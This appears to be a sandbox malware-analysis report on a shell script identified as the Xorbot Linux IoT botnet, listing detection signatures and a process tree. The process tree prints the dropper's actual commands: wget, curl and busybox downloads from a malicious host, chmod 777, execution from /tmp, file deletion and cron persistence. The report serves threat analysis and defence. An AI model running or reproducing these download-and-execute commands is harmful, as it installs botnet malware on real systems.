Analysis
- max time kernel
149s - max time network
153s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20240611-en - resource tags
- submitted
11/01/2025, 03:33
General
- Target bins.sh
- Size 10KB
- Sample250111-d37b9svjer
- SHA256 9f106787cc7981b9970225fdfd2df90727fe49859333af1d98f0a011601daa49
Score
10/10
Malware Config
Signatures
- Detects Xorbot 1 IoCs
- Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
- Xorbot family
- Contacts a large (2216) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Renames itself 1 IoCs
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 8 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW12⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW12⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW12⤵
- System Network Configuration Discovery
-
-
/bin/chmodchmod 777 jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW12⤵
- File and Directory Permissions Modification
-
-
/tmp/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1./jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW12⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
-
/bin/shsh -c "crontab -l"3⤵
-
/usr/bin/crontabcrontab -l4⤵
-
-
-
/bin/shsh -c "crontab -"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/bin/rmrm jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW12⤵
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV2⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV2⤵
- System Network Configuration Discovery
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV2⤵
- System Network Configuration Discovery
-
-
/bin/chmodchmod 777 6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV2⤵
- File and Directory Permissions Modification
-
-
/tmp/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV./6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV2⤵
-
-
/bin/rmrm 6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV2⤵
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA2⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA2⤵
- System Network Configuration Discovery
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
tmp.JsNw4R